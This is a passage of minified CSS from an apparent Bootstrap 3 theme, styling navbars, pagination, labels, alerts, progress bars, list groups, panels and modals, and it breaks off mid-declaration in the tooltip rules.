.navbar-text{color:#dddddd}.navbar-default .navbar-nav>li>a{color:#ffffff}.navbar-default .navbar-nav>li>a:hover,.navbar-default .navbar-nav>li>a:focus{color:#ffffff;background-color:#178acc}.navbar-default .navbar-nav>.active>a,.navbar-default .navbar-nav>.active>a:hover,.navbar-default .navbar-nav>.active>a:focus{color:#ffffff;background-color:#178acc}.navbar-default .navbar-nav>.disabled>a,.navbar-default .navbar-nav>.disabled>a:hover,.navbar-default .navbar-nav>.disabled>a:focus{color:#dddddd;background-color:transparent}.navbar-default .navbar-nav>.open>a,.navbar-default .navbar-nav>.open>a:hover,.navbar-default .navbar-nav>.open>a:focus{color:#ffffff;background-color:#178acc}@media (max-width:767px){.navbar-default .navbar-nav .open .dropdown-menu>li>a{color:#ffffff}.navbar-default .navbar-nav .open .dropdown-menu>li>a:hover,.navbar-default .navbar-nav .open .dropdown-menu>li>a:focus{color:#ffffff;background-color:#178acc}.navbar-default .navbar-nav .open .dropdown-menu>.active>a,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:hover,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:focus{color:#ffffff;background-color:#178acc}.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:hover,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:focus{color:#dddddd;background-color:transparent}}.navbar-default .navbar-toggle{border-color:#178acc}.navbar-default .navbar-toggle:hover,.navbar-default .navbar-toggle:focus{background-color:#178acc}.navbar-default .navbar-toggle .icon-bar{background-color:#ffffff}.navbar-default .navbar-collapse,.navbar-default .navbar-form{border-color:#1995dc}.navbar-default .navbar-link{color:#ffffff}.navbar-default .navbar-link:hover{color:#ffffff}.navbar-default .btn-link{color:#ffffff}.navbar-default .btn-link:hover,.navbar-default .btn-link:focus{color:#ffffff}.navbar-default .btn-link[disabled]:hover,fieldset[disabled] .navbar-default .btn-link:hover,.navbar-default .btn-link[disabled]:focus,fieldset[disabled] .navbar-default .btn-link:focus{color:#dddddd}.navbar-inverse{background-color:#033c73;border-color:#022f5a}.navbar-inverse .navbar-brand{color:#ffffff}.navbar-inverse .navbar-brand:hover,.navbar-inverse .navbar-brand:focus{color:#ffffff;background-color:none}.navbar-inverse .navbar-text{color:#ffffff}.navbar-inverse .navbar-nav>li>a{color:#ffffff}.navbar-inverse .navbar-nav>li>a:hover,.navbar-inverse .navbar-nav>li>a:focus{color:#ffffff;background-color:#022f5a}.navbar-inverse .navbar-nav>.active>a,.navbar-inverse .navbar-nav>.active>a:hover,.navbar-inverse .navbar-nav>.active>a:focus{color:#ffffff;background-color:#022f5a}.navbar-inverse .navbar-nav>.disabled>a,.navbar-inverse .navbar-nav>.disabled>a:hover,.navbar-inverse .navbar-nav>.disabled>a:focus{color:#cccccc;background-color:transparent}.navbar-inverse .navbar-nav>.open>a,.navbar-inverse .navbar-nav>.open>a:hover,.navbar-inverse .navbar-nav>.open>a:focus{color:#ffffff;background-color:#022f5a}@media (max-width:767px){.navbar-inverse .navbar-nav .open .dropdown-menu>.dropdown-header{border-color:#022f5a}.navbar-inverse .navbar-nav .open .dropdown-menu .divider{background-color:#022f5a}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a{color:#ffffff}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:hover,.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:focus{color:#ffffff;background-color:#022f5a}.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:hover,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:focus{color:#ffffff;background-color:#022f5a}.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:hover,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:focus{color:#cccccc;background-color:transparent}}.navbar-inverse .navbar-toggle{border-color:#022f5a}.navbar-inverse .navbar-toggle:hover,.navbar-inverse .navbar-toggle:focus{background-color:#022f5a}.navbar-inverse .navbar-toggle .icon-bar{background-color:#ffffff}.navbar-inverse .navbar-collapse,.navbar-inverse .navbar-form{border-color:#022a50}.navbar-inverse .navbar-link{color:#ffffff}.navbar-inverse .navbar-link:hover{color:#ffffff}.navbar-inverse .btn-link{color:#ffffff}.navbar-inverse .btn-link:hover,.navbar-inverse .btn-link:focus{color:#ffffff}.navbar-inverse .btn-link[disabled]:hover,fieldset[disabled] .navbar-inverse .btn-link:hover,.navbar-inverse .btn-link[disabled]:focus,fieldset[disabled] .navbar-inverse .btn-link:focus{color:#cccccc}.breadcrumb{padding:8px 15px;margin-bottom:20px;list-style:none;background-color:#f5f5f5;border-radius:4px}.breadcrumb>li{display:inline-block}.breadcrumb>li+li:before{padding:0 5px;color:#cccccc;content:"/\00a0"}.breadcrumb>.active{color:#999999}.pagination{display:inline-block;padding-left:0;margin:20px 0;border-radius:4px}.pagination>li{display:inline}.pagination>li>a,.pagination>li>span{position:relative;float:left;padding:8px 12px;margin-left:-1px;line-height:1.42857143;color:#2fa4e7;text-decoration:none;background-color:#ffffff;border:1px solid #dddddd}.pagination>li>a:hover,.pagination>li>span:hover,.pagination>li>a:focus,.pagination>li>span:focus{z-index:2;color:#157ab5;background-color:#eeeeee;border-color:#dddddd}.pagination>li:first-child>a,.pagination>li:first-child>span{margin-left:0;border-top-left-radius:4px;border-bottom-left-radius:4px}.pagination>li:last-child>a,.pagination>li:last-child>span{border-top-right-radius:4px;border-bottom-right-radius:4px}.pagination>.active>a,.pagination>.active>span,.pagination>.active>a:hover,.pagination>.active>span:hover,.pagination>.active>a:focus,.pagination>.active>span:focus{z-index:3;color:#999999;cursor:default;background-color:#f5f5f5;border-color:#dddddd}.pagination>.disabled>span,.pagination>.disabled>span:hover,.pagination>.disabled>span:focus,.pagination>.disabled>a,.pagination>.disabled>a:hover,.pagination>.disabled>a:focus{color:#999999;cursor:not-allowed;background-color:#ffffff;border-color:#dddddd}.pagination-lg>li>a,.pagination-lg>li>span{padding:14px 16px;font-size:18px;line-height:1.3333333}.pagination-lg>li:first-child>a,.pagination-lg>li:first-child>span{border-top-left-radius:6px;border-bottom-left-radius:6px}.pagination-lg>li:last-child>a,.pagination-lg>li:last-child>span{border-top-right-radius:6px;border-bottom-right-radius:6px}.pagination-sm>li>a,.pagination-sm>li>span{padding:5px 10px;font-size:12px;line-height:1.5}.pagination-sm>li:first-child>a,.pagination-sm>li:first-child>span{border-top-left-radius:3px;border-bottom-left-radius:3px}.pagination-sm>li:last-child>a,.pagination-sm>li:last-child>span{border-top-right-radius:3px;border-bottom-right-radius:3px}.pager{padding-left:0;margin:20px 0;text-align:center;list-style:none}.pager li{display:inline}.pager li>a,.pager li>span{display:inline-block;padding:5px 14px;background-color:#ffffff;border:1px solid #dddddd;border-radius:15px}.pager li>a:hover,.pager li>a:focus{text-decoration:none;background-color:#eeeeee}.pager .next>a,.pager .next>span{float:right}.pager .previous>a,.pager .previous>span{float:left}.pager .disabled>a,.pager .disabled>a:hover,.pager .disabled>a:focus,.pager .disabled>span{color:#999999;cursor:not-allowed;background-color:#ffffff}.label{display:inline;padding:.2em .6em .3em;font-size:75%;font-weight:700;line-height:1;color:#ffffff;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25em}a.label:hover,a.label:focus{color:#ffffff;text-decoration:none;cursor:pointer}.label:empty{display:none}.btn .label{position:relative;top:-1px}.label-default{background-color:#999999}.label-default[href]:hover,.label-default[href]:focus{background-color:#808080}.label-primary{background-color:#2fa4e7}.label-primary[href]:hover,.label-primary[href]:focus{background-color:#178acc}.label-success{background-color:#73a839}.label-success[href]:hover,.label-success[href]:focus{background-color:#59822c}.label-info{background-color:#033c73}.label-info[href]:hover,.label-info[href]:focus{background-color:#022241}.label-warning{background-color:#dd5600}.label-warning[href]:hover,.label-warning[href]:focus{background-color:#aa4200}.label-danger{background-color:#c71c22}.label-danger[href]:hover,.label-danger[href]:focus{background-color:#9a161a}.badge{display:inline-block;min-width:10px;padding:3px 7px;font-size:12px;font-weight:bold;line-height:1;color:#ffffff;text-align:center;white-space:nowrap;vertical-align:middle;background-color:#2fa4e7;border-radius:10px}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.btn-xs .badge,.btn-group-xs>.btn .badge{top:0;padding:1px 5px}a.badge:hover,a.badge:focus{color:#ffffff;text-decoration:none;cursor:pointer}.list-group-item.active>.badge,.nav-pills>.active>a>.badge{color:#2fa4e7;background-color:#ffffff}.list-group-item>.badge{float:right}.list-group-item>.badge+.badge{margin-right:5px}.nav-pills>li>a>.badge{margin-left:3px}.jumbotron{padding-top:30px;padding-bottom:30px;margin-bottom:30px;color:inherit;background-color:#eeeeee}.jumbotron h1,.jumbotron .h1{color:inherit}.jumbotron p{margin-bottom:15px;font-size:21px;font-weight:200}.jumbotron>hr{border-top-color:#d5d5d5}.container .jumbotron,.container-fluid .jumbotron{padding-right:15px;padding-left:15px;border-radius:6px}.jumbotron .container{max-width:100%}@media screen and (min-width:768px){.jumbotron{padding-top:48px;padding-bottom:48px}.container .jumbotron,.container-fluid .jumbotron{padding-right:60px;padding-left:60px}.jumbotron h1,.jumbotron .h1{font-size:63px}}.thumbnail{display:block;padding:4px;margin-bottom:20px;line-height:1.42857143;background-color:#ffffff;border:1px solid #dddddd;border-radius:4px;transition:border .2s ease-in-out}.thumbnail>img,.thumbnail a>img{margin-right:auto;margin-left:auto}a.thumbnail:hover,a.thumbnail:focus,a.thumbnail.active{border-color:#2fa4e7}.thumbnail .caption{padding:9px;color:#555555}.alert{padding:15px;margin-bottom:20px;border:1px solid transparent;border-radius:4px}.alert h4{margin-top:0;color:inherit}.alert .alert-link{font-weight:bold}.alert>p,.alert>ul{margin-bottom:0}.alert>p+p{margin-top:5px}.alert-dismissable,.alert-dismissible{padding-right:35px}.alert-dismissable .close,.alert-dismissible .close{position:relative;top:-2px;right:-21px;color:inherit}.alert-success{color:#468847;background-color:#dff0d8;border-color:#d6e9c6}.alert-success hr{border-top-color:#c9e2b3}.alert-success .alert-link{color:#356635}.alert-info{color:#3a87ad;background-color:#d9edf7;border-color:#bce8f1}.alert-info hr{border-top-color:#a6e1ec}.alert-info .alert-link{color:#2d6987}.alert-warning{color:#c09853;background-color:#fcf8e3;border-color:#fbeed5}.alert-warning hr{border-top-color:#f8e5be}.alert-warning .alert-link{color:#a47e3c}.alert-danger{color:#b94a48;background-color:#f2dede;border-color:#eed3d7}.alert-danger hr{border-top-color:#e6c1c7}.alert-danger .alert-link{color:#953b39}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}.progress{height:20px;margin-bottom:20px;overflow:hidden;background-color:#f5f5f5;border-radius:4px;box-shadow:inset 0 1px 2px rgba(0,0,0,0.1)}.progress-bar{float:left;width:0%;height:100%;font-size:12px;line-height:20px;color:#ffffff;text-align:center;background-color:#2fa4e7;box-shadow:inset 0 -1px 0 rgba(0,0,0,0.15);transition:width 0.6s ease}.progress-striped .progress-bar,.progress-bar-striped{background-image:linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-size:40px 40px}.progress.active .progress-bar,.progress-bar.active{-webkit-animation:progress-bar-stripes 2s linear infinite;animation:progress-bar-stripes 2s linear infinite}.progress-bar-success{background-color:#73a839}.progress-striped .progress-bar-success{background-image:linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent)}.progress-bar-info{background-color:#033c73}.progress-striped .progress-bar-info{background-image:linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent)}.progress-bar-warning{background-color:#dd5600}.progress-striped .progress-bar-warning{background-image:linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent)}.progress-bar-danger{background-color:#c71c22}.progress-striped .progress-bar-danger{background-image:linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent)}.media{margin-top:15px}.media:first-child{margin-top:0}.media,.media-body{overflow:hidden;zoom:1}.media-body{width:10000px}.media-object{display:block}.media-object.img-thumbnail{max-width:none}.media-right,.media>.pull-right{padding-left:10px}.media-left,.media>.pull-left{padding-right:10px}.media-left,.media-right,.media-body{display:table-cell;vertical-align:top}.media-middle{vertical-align:middle}.media-bottom{vertical-align:bottom}.media-heading{margin-top:0;margin-bottom:5px}.media-list{padding-left:0;list-style:none}.list-group{padding-left:0;margin-bottom:20px}.list-group-item{position:relative;display:block;padding:10px 15px;margin-bottom:-1px;background-color:#ffffff;border:1px solid #dddddd}.list-group-item:first-child{border-top-left-radius:4px;border-top-right-radius:4px}.list-group-item:last-child{margin-bottom:0;border-bottom-right-radius:4px;border-bottom-left-radius:4px}.list-group-item.disabled,.list-group-item.disabled:hover,.list-group-item.disabled:focus{color:#999999;cursor:not-allowed;background-color:#eeeeee}.list-group-item.disabled .list-group-item-heading,.list-group-item.disabled:hover .list-group-item-heading,.list-group-item.disabled:focus .list-group-item-heading{color:inherit}.list-group-item.disabled .list-group-item-text,.list-group-item.disabled:hover .list-group-item-text,.list-group-item.disabled:focus .list-group-item-text{color:#999999}.list-group-item.active,.list-group-item.active:hover,.list-group-item.active:focus{z-index:2;color:#ffffff;background-color:#2fa4e7;border-color:#2fa4e7}.list-group-item.active .list-group-item-heading,.list-group-item.active:hover .list-group-item-heading,.list-group-item.active:focus .list-group-item-heading,.list-group-item.active .list-group-item-heading>small,.list-group-item.active:hover .list-group-item-heading>small,.list-group-item.active:focus .list-group-item-heading>small,.list-group-item.active .list-group-item-heading>.small,.list-group-item.active:hover .list-group-item-heading>.small,.list-group-item.active:focus .list-group-item-heading>.small{color:inherit}.list-group-item.active .list-group-item-text,.list-group-item.active:hover .list-group-item-text,.list-group-item.active:focus .list-group-item-text{color:#e6f4fc}a.list-group-item,button.list-group-item{color:#555555}a.list-group-item .list-group-item-heading,button.list-group-item .list-group-item-heading{color:#333333}a.list-group-item:hover,button.list-group-item:hover,a.list-group-item:focus,button.list-group-item:focus{color:#555555;text-decoration:none;background-color:#f5f5f5}button.list-group-item{width:100%;text-align:left}.list-group-item-success{color:#468847;background-color:#dff0d8}a.list-group-item-success,button.list-group-item-success{color:#468847}a.list-group-item-success .list-group-item-heading,button.list-group-item-success .list-group-item-heading{color:inherit}a.list-group-item-success:hover,button.list-group-item-success:hover,a.list-group-item-success:focus,button.list-group-item-success:focus{color:#468847;background-color:#d0e9c6}a.list-group-item-success.active,button.list-group-item-success.active,a.list-group-item-success.active:hover,button.list-group-item-success.active:hover,a.list-group-item-success.active:focus,button.list-group-item-success.active:focus{color:#fff;background-color:#468847;border-color:#468847}.list-group-item-info{color:#3a87ad;background-color:#d9edf7}a.list-group-item-info,button.list-group-item-info{color:#3a87ad}a.list-group-item-info .list-group-item-heading,button.list-group-item-info .list-group-item-heading{color:inherit}a.list-group-item-info:hover,button.list-group-item-info:hover,a.list-group-item-info:focus,button.list-group-item-info:focus{color:#3a87ad;background-color:#c4e3f3}a.list-group-item-info.active,button.list-group-item-info.active,a.list-group-item-info.active:hover,button.list-group-item-info.active:hover,a.list-group-item-info.active:focus,button.list-group-item-info.active:focus{color:#fff;background-color:#3a87ad;border-color:#3a87ad}.list-group-item-warning{color:#c09853;background-color:#fcf8e3}a.list-group-item-warning,button.list-group-item-warning{color:#c09853}a.list-group-item-warning .list-group-item-heading,button.list-group-item-warning .list-group-item-heading{color:inherit}a.list-group-item-warning:hover,button.list-group-item-warning:hover,a.list-group-item-warning:focus,button.list-group-item-warning:focus{color:#c09853;background-color:#faf2cc}a.list-group-item-warning.active,button.list-group-item-warning.active,a.list-group-item-warning.active:hover,button.list-group-item-warning.active:hover,a.list-group-item-warning.active:focus,button.list-group-item-warning.active:focus{color:#fff;background-color:#c09853;border-color:#c09853}.list-group-item-danger{color:#b94a48;background-color:#f2dede}a.list-group-item-danger,button.list-group-item-danger{color:#b94a48}a.list-group-item-danger .list-group-item-heading,button.list-group-item-danger .list-group-item-heading{color:inherit}a.list-group-item-danger:hover,button.list-group-item-danger:hover,a.list-group-item-danger:focus,button.list-group-item-danger:focus{color:#b94a48;background-color:#ebcccc}a.list-group-item-danger.active,button.list-group-item-danger.active,a.list-group-item-danger.active:hover,button.list-group-item-danger.active:hover,a.list-group-item-danger.active:focus,button.list-group-item-danger.active:focus{color:#fff;background-color:#b94a48;border-color:#b94a48}.list-group-item-heading{margin-top:0;margin-bottom:5px}.list-group-item-text{margin-bottom:0;line-height:1.3}.panel{margin-bottom:20px;background-color:#ffffff;border:1px solid transparent;border-radius:4px;box-shadow:0 1px 1px rgba(0,0,0,0.05)}.panel-body{padding:15px}.panel-heading{padding:10px 15px;border-bottom:1px solid transparent;border-top-left-radius:3px;border-top-right-radius:3px}.panel-heading>.dropdown .dropdown-toggle{color:inherit}.panel-title{margin-top:0;margin-bottom:0;font-size:16px;color:inherit}.panel-title>a,.panel-title>small,.panel-title>.small,.panel-title>small>a,.panel-title>.small>a{color:inherit}.panel-footer{padding:10px 15px;background-color:#f5f5f5;border-top:1px solid #dddddd;border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.list-group,.panel>.panel-collapse>.list-group{margin-bottom:0}.panel>.list-group .list-group-item,.panel>.panel-collapse>.list-group .list-group-item{border-width:1px 0;border-radius:0}.panel>.list-group:first-child .list-group-item:first-child,.panel>.panel-collapse>.list-group:first-child .list-group-item:first-child{border-top:0;border-top-left-radius:3px;border-top-right-radius:3px}.panel>.list-group:last-child .list-group-item:last-child,.panel>.panel-collapse>.list-group:last-child .list-group-item:last-child{border-bottom:0;border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.panel-heading+.panel-collapse>.list-group .list-group-item:first-child{border-top-left-radius:0;border-top-right-radius:0}.panel-heading+.list-group .list-group-item:first-child{border-top-width:0}.list-group+.panel-footer{border-top-width:0}.panel>.table,.panel>.table-responsive>.table,.panel>.panel-collapse>.table{margin-bottom:0}.panel>.table caption,.panel>.table-responsive>.table caption,.panel>.panel-collapse>.table caption{padding-right:15px;padding-left:15px}.panel>.table:first-child,.panel>.table-responsive:first-child>.table:first-child{border-top-left-radius:3px;border-top-right-radius:3px}.panel>.table:first-child>thead:first-child>tr:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child{border-top-left-radius:3px;border-top-right-radius:3px}.panel>.table:first-child>thead:first-child>tr:first-child td:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child td:first-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:first-child,.panel>.table:first-child>thead:first-child>tr:first-child th:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child th:first-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:first-child{border-top-left-radius:3px}.panel>.table:first-child>thead:first-child>tr:first-child td:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:last-child,.panel>.table:first-child>tbody:first-child>tr:first-child td:last-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:last-child,.panel>.table:first-child>thead:first-child>tr:first-child th:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:last-child,.panel>.table:first-child>tbody:first-child>tr:first-child th:last-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:last-child{border-top-right-radius:3px}.panel>.table:last-child,.panel>.table-responsive:last-child>.table:last-child{border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.table:last-child>tbody:last-child>tr:last-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child{border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.table:last-child>tbody:last-child>tr:last-child td:first-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child td:first-child,.panel>.table:last-child>tfoot:last-child>tr:last-child td:first-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child td:first-child,.panel>.table:last-child>tbody:last-child>tr:last-child th:first-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:first-child,.panel>.table:last-child>tfoot:last-child>tr:last-child th:first-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:first-child{border-bottom-left-radius:3px}.panel>.table:last-child>tbody:last-child>tr:last-child td:last-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child td:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child td:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child td:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child th:last-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child th:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:last-child{border-bottom-right-radius:3px}.panel>.panel-body+.table,.panel>.panel-body+.table-responsive,.panel>.table+.panel-body,.panel>.table-responsive+.panel-body{border-top:1px solid #dddddd}.panel>.table>tbody:first-child>tr:first-child th,.panel>.table>tbody:first-child>tr:first-child td{border-top:0}.panel>.table-bordered,.panel>.table-responsive>.table-bordered{border:0}.panel>.table-bordered>thead>tr>th:first-child,.panel>.table-responsive>.table-bordered>thead>tr>th:first-child,.panel>.table-bordered>tbody>tr>th:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:first-child,.panel>.table-bordered>tfoot>tr>th:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:first-child,.panel>.table-bordered>thead>tr>td:first-child,.panel>.table-responsive>.table-bordered>thead>tr>td:first-child,.panel>.table-bordered>tbody>tr>td:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:first-child,.panel>.table-bordered>tfoot>tr>td:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:first-child{border-left:0}.panel>.table-bordered>thead>tr>th:last-child,.panel>.table-responsive>.table-bordered>thead>tr>th:last-child,.panel>.table-bordered>tbody>tr>th:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:last-child,.panel>.table-bordered>tfoot>tr>th:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:last-child,.panel>.table-bordered>thead>tr>td:last-child,.panel>.table-responsive>.table-bordered>thead>tr>td:last-child,.panel>.table-bordered>tbody>tr>td:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:last-child,.panel>.table-bordered>tfoot>tr>td:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:last-child{border-right:0}.panel>.table-bordered>thead>tr:first-child>td,.panel>.table-responsive>.table-bordered>thead>tr:first-child>td,.panel>.table-bordered>tbody>tr:first-child>td,.panel>.table-responsive>.table-bordered>tbody>tr:first-child>td,.panel>.table-bordered>thead>tr:first-child>th,.panel>.table-responsive>.table-bordered>thead>tr:first-child>th,.panel>.table-bordered>tbody>tr:first-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:first-child>th{border-bottom:0}.panel>.table-bordered>tbody>tr:last-child>td,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>td,.panel>.table-bordered>tfoot>tr:last-child>td,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>td,.panel>.table-bordered>tbody>tr:last-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>th,.panel>.table-bordered>tfoot>tr:last-child>th,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>th{border-bottom:0}.panel>.table-responsive{margin-bottom:0;border:0}.panel-group{margin-bottom:20px}.panel-group .panel{margin-bottom:0;border-radius:4px}.panel-group .panel+.panel{margin-top:5px}.panel-group .panel-heading{border-bottom:0}.panel-group .panel-heading+.panel-collapse>.panel-body,.panel-group .panel-heading+.panel-collapse>.list-group{border-top:1px solid #dddddd}.panel-group .panel-footer{border-top:0}.panel-group .panel-footer+.panel-collapse .panel-body{border-bottom:1px solid #dddddd}.panel-default{border-color:#dddddd}.panel-default>.panel-heading{color:#555555;background-color:#f5f5f5;border-color:#dddddd}.panel-default>.panel-heading+.panel-collapse>.panel-body{border-top-color:#dddddd}.panel-default>.panel-heading .badge{color:#f5f5f5;background-color:#555555}.panel-default>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#dddddd}.panel-primary{border-color:#dddddd}.panel-primary>.panel-heading{color:#ffffff;background-color:#2fa4e7;border-color:#dddddd}.panel-primary>.panel-heading+.panel-collapse>.panel-body{border-top-color:#dddddd}.panel-primary>.panel-heading .badge{color:#2fa4e7;background-color:#ffffff}.panel-primary>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#dddddd}.panel-success{border-color:#dddddd}.panel-success>.panel-heading{color:#468847;background-color:#73a839;border-color:#dddddd}.panel-success>.panel-heading+.panel-collapse>.panel-body{border-top-color:#dddddd}.panel-success>.panel-heading .badge{color:#73a839;background-color:#468847}.panel-success>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#dddddd}.panel-info{border-color:#dddddd}.panel-info>.panel-heading{color:#3a87ad;background-color:#033c73;border-color:#dddddd}.panel-info>.panel-heading+.panel-collapse>.panel-body{border-top-color:#dddddd}.panel-info>.panel-heading .badge{color:#033c73;background-color:#3a87ad}.panel-info>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#dddddd}.panel-warning{border-color:#dddddd}.panel-warning>.panel-heading{color:#c09853;background-color:#dd5600;border-color:#dddddd}.panel-warning>.panel-heading+.panel-collapse>.panel-body{border-top-color:#dddddd}.panel-warning>.panel-heading .badge{color:#dd5600;background-color:#c09853}.panel-warning>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#dddddd}.panel-danger{border-color:#dddddd}.panel-danger>.panel-heading{color:#b94a48;background-color:#c71c22;border-color:#dddddd}.panel-danger>.panel-heading+.panel-collapse>.panel-body{border-top-color:#dddddd}.panel-danger>.panel-heading .badge{color:#c71c22;background-color:#b94a48}.panel-danger>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#dddddd}.embed-responsive{position:relative;display:block;height:0;padding:0;overflow:hidden}.embed-responsive .embed-responsive-item,.embed-responsive iframe,.embed-responsive embed,.embed-responsive object,.embed-responsive video{position:absolute;top:0;bottom:0;left:0;width:100%;height:100%;border:0}.embed-responsive-16by9{padding-bottom:56.25%}.embed-responsive-4by3{padding-bottom:75%}.well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px solid #e3e3e3;border-radius:4px;box-shadow:inset 0 1px 1px rgba(0,0,0,0.05)}.well blockquote{border-color:#ddd;border-color:rgba(0,0,0,0.15)}.well-lg{padding:24px;border-radius:6px}.well-sm{padding:9px;border-radius:3px}.close{float:right;font-size:21px;font-weight:bold;line-height:1;color:#000000;text-shadow:0 1px 0 #ffffff;filter:alpha(opacity=20);opacity:0.2}.close:hover,.close:focus{color:#000000;text-decoration:none;cursor:pointer;filter:alpha(opacity=50);opacity:0.5}button.close{padding:0;cursor:pointer;background:transparent;border:0;-webkit-appearance:none;appearance:none}.modal-open{overflow:hidden}.modal{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1050;display:none;overflow:hidden;-webkit-overflow-scrolling:touch;outline:0}.modal.fade .modal-dialog{-webkit-transform:translate(0, -25%);transform:translate(0, -25%);transition:-webkit-transform .3s ease-out;transition:transform .3s ease-out}.modal.in .modal-dialog{-webkit-transform:translate(0, 0);transform:translate(0, 0)}.modal-open .modal{overflow-x:hidden;overflow-y:auto}.modal-dialog{position:relative;width:auto;margin:10px}.modal-content{position:relative;background-color:#ffffff;background-clip:padding-box;border:1px solid #999999;border:1px solid rgba(0,0,0,0.2);border-radius:6px;box-shadow:0 3px 9px rgba(0,0,0,0.5);outline:0}.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;background-color:#000000}.modal-backdrop.fade{filter:alpha(opacity=0);opacity:0}.modal-backdrop.in{filter:alpha(opacity=50);opacity:0.5}.modal-header{padding:15px;border-bottom:1px solid #e5e5e5}.modal-header .close{margin-top:-2px}.modal-title{margin:0;line-height:1.42857143}.modal-body{position:relative;padding:20px}.modal-footer{padding:20px;text-align:right;border-top:1px solid #e5e5e5}.modal-footer .btn+.btn{margin-bottom:0;margin-left:5px}.modal-footer .btn-group .btn+.btn{margin-left:-1px}.modal-footer .btn-block+.btn-block{margin-left:0}.modal-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}@media (min-width:768px){.modal-dialog{width:600px;margin:30px auto}.modal-content{box-shadow:0 5px 15px rgba(0,0,0,0.5)}.modal-sm{width:300px}}@media (min-width:992px){.modal-lg{width:900px}}.tooltip{position:absolute;z-index:1070;display:block;font-family:"Helvetica 